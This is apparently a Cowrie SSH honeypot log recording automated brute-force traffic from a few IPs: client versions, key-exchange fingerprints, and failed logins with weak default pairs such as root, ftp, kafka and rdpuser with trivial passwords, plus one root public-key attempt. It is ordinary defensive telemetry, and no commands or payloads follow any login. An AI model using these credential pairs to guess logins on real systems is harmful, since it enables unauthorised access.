{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":48522,"dst_ip":"10.17.0.5","dst_port":22,"session":"5773782589d3","protocol":"ssh","message":"New connection: 47.86.95.62:48522 (10.17.0.5:22) [session: 5773782589d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:55:28.426540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:55:29.663487Z","src_ip":"47.86.95.62","session":"5773782589d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:55:29.668427Z","src_ip":"47.86.95.62","session":"5773782589d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.51.27.82","src_port":44724,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c4c62bc2797","protocol":"ssh","message":"New connection: 112.51.27.82:44724 (10.17.0.5:22) [session: 2c4c62bc2797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:55:30.621459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:55:30.626505Z","src_ip":"112.51.27.82","session":"2c4c62bc2797","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:55:34.668355Z","src_ip":"47.86.95.62","session":"5773782589d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:55:36.049782Z","src_ip":"47.86.95.62","session":"5773782589d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":46514,"dst_ip":"10.17.0.5","dst_port":22,"session":"b356379a137b","protocol":"ssh","message":"New connection: 47.86.95.62:46514 (10.17.0.5:22) [session: b356379a137b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:55:39.067562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:55:39.137842Z","src_ip":"47.86.95.62","session":"b356379a137b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:55:39.268968Z","src_ip":"47.86.95.62","session":"b356379a137b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:55:40.062420Z","src_ip":"47.86.95.62","session":"b356379a137b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:55:41.496872Z","src_ip":"47.86.95.62","session":"b356379a137b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":33724,"dst_ip":"10.17.0.5","dst_port":22,"session":"343fe1a16fc1","protocol":"ssh","message":"New connection: 47.86.95.62:33724 (10.17.0.5:22) [session: 343fe1a16fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:55:44.085084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:55:44.093359Z","src_ip":"47.86.95.62","session":"343fe1a16fc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:55:44.301739Z","src_ip":"47.86.95.62","session":"343fe1a16fc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:55:44.916846Z","src_ip":"47.86.95.62","session":"343fe1a16fc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:55:46.311507Z","src_ip":"47.86.95.62","session":"343fe1a16fc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":59828,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4a69b24d41d","protocol":"ssh","message":"New connection: 47.86.95.62:59828 (10.17.0.5:22) [session: a4a69b24d41d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:09.350574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:12.498468Z","src_ip":"47.86.95.62","session":"a4a69b24d41d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:12.503459Z","src_ip":"47.86.95.62","session":"a4a69b24d41d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:16.878004Z","src_ip":"47.86.95.62","session":"a4a69b24d41d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:18.637512Z","src_ip":"47.86.95.62","session":"a4a69b24d41d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":33600,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb0ba357cf21","protocol":"ssh","message":"New connection: 47.86.95.62:33600 (10.17.0.5:22) [session: cb0ba357cf21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:22.711702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:22.939345Z","src_ip":"47.86.95.62","session":"cb0ba357cf21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:22.943690Z","src_ip":"47.86.95.62","session":"cb0ba357cf21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:23.973576Z","src_ip":"47.86.95.62","session":"cb0ba357cf21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:25.465604Z","src_ip":"47.86.95.62","session":"cb0ba357cf21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":33602,"dst_ip":"10.17.0.5","dst_port":22,"session":"3efd84aadd76","protocol":"ssh","message":"New connection: 47.86.95.62:33602 (10.17.0.5:22) [session: 3efd84aadd76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:27.733279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:27.737628Z","src_ip":"47.86.95.62","session":"3efd84aadd76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:27.941493Z","src_ip":"47.86.95.62","session":"3efd84aadd76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:28.557728Z","src_ip":"47.86.95.62","session":"3efd84aadd76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:29.767462Z","src_ip":"47.86.95.62","session":"3efd84aadd76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.131.184.100","src_port":53972,"dst_ip":"10.17.0.5","dst_port":22,"session":"d728302e6a31","protocol":"ssh","message":"New connection: 23.131.184.100:53972 (10.17.0.5:22) [session: d728302e6a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:30.201875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:30.206856Z","src_ip":"23.131.184.100","session":"d728302e6a31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:30.256101Z","src_ip":"23.131.184.100","session":"d728302e6a31","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:e9:5d:c5:e7:7d:69:d2:22:b6:11:cf:68:fe:5d:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWvBh2WeN5EN/6JyNbsgq+uJPGHMFHmhOaGpPTxOwSKdoGoL7N9L+FNayYQWk9G5F7BNxpQhXy502Jf1+yervkP8AdpYCE8cLHrfSpEXpsticlnbnJI9cF7L5JGgo+IA/lO1R3qtrutgjMicfpDom2kXYZSGGQvB8txUr4k2iAMwRd6VC/GyGN8ABe/kbjvmFxP1/vXMmrSp/vlIhgJ/il+ZGYip9bFDeJJ1/wFjFtVKdCH+X/4Dj955SyBNSKDJw2kBShidQKFjglYQcyKj4UirCdMHX9xglGXfJNILsPYBbWH61I8iyixG146Rg7kzdcc0cV+LhXy+k8omIAXEi3OuT7BmkKN/iyLfiy0vqrYR92P+3TJE76bJtfHjGTIcAlXLGNj6efxEUFfQ1sGxPhdI0pLBKFqC2qfpXuqXHYhie/0jUHwcJeSIEeUGw4l/UjGbXTaqwtYfOvPLTDiYv36g4ED9UKivBe6tWL3Ry6jPvsgibai8geXSz/1EW51nM+XeFHCFVHcN0kj+Db5Tu7e6GkK1ZuQTK8kV1tLK8Swo8/ICUcfgJoXIJN7y6GOtBBu3XZ0MpRtgtzB5tspOWxHKFzVlJV9qKHBQs/+CLqARDepz7C3vTyzQEY2hbWgcubHMuyQbVdVUAmZTokpxPkg/eiQRMUXkVLcOeRbC7m5w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:e9:5d:c5:e7:7d:69:d2:22:b6:11:cf:68:fe:5d:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:30.463900Z","src_ip":"23.131.184.100","session":"d728302e6a31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:e9:5d:c5:e7:7d:69:d2:22:b6:11:cf:68:fe:5d:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWvBh2WeN5EN/6JyNbsgq+uJPGHMFHmhOaGpPTxOwSKdoGoL7N9L+FNayYQWk9G5F7BNxpQhXy502Jf1+yervkP8AdpYCE8cLHrfSpEXpsticlnbnJI9cF7L5JGgo+IA/lO1R3qtrutgjMicfpDom2kXYZSGGQvB8txUr4k2iAMwRd6VC/GyGN8ABe/kbjvmFxP1/vXMmrSp/vlIhgJ/il+ZGYip9bFDeJJ1/wFjFtVKdCH+X/4Dj955SyBNSKDJw2kBShidQKFjglYQcyKj4UirCdMHX9xglGXfJNILsPYBbWH61I8iyixG146Rg7kzdcc0cV+LhXy+k8omIAXEi3OuT7BmkKN/iyLfiy0vqrYR92P+3TJE76bJtfHjGTIcAlXLGNj6efxEUFfQ1sGxPhdI0pLBKFqC2qfpXuqXHYhie/0jUHwcJeSIEeUGw4l/UjGbXTaqwtYfOvPLTDiYv36g4ED9UKivBe6tWL3Ry6jPvsgibai8geXSz/1EW51nM+XeFHCFVHcN0kj+Db5Tu7e6GkK1ZuQTK8kV1tLK8Swo8/ICUcfgJoXIJN7y6GOtBBu3XZ0MpRtgtzB5tspOWxHKFzVlJV9qKHBQs/+CLqARDepz7C3vTyzQEY2hbWgcubHMuyQbVdVUAmZTokpxPkg/eiQRMUXkVLcOeRbC7m5w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:30.467864Z","src_ip":"23.131.184.100","session":"d728302e6a31","protocol":"ssh"}
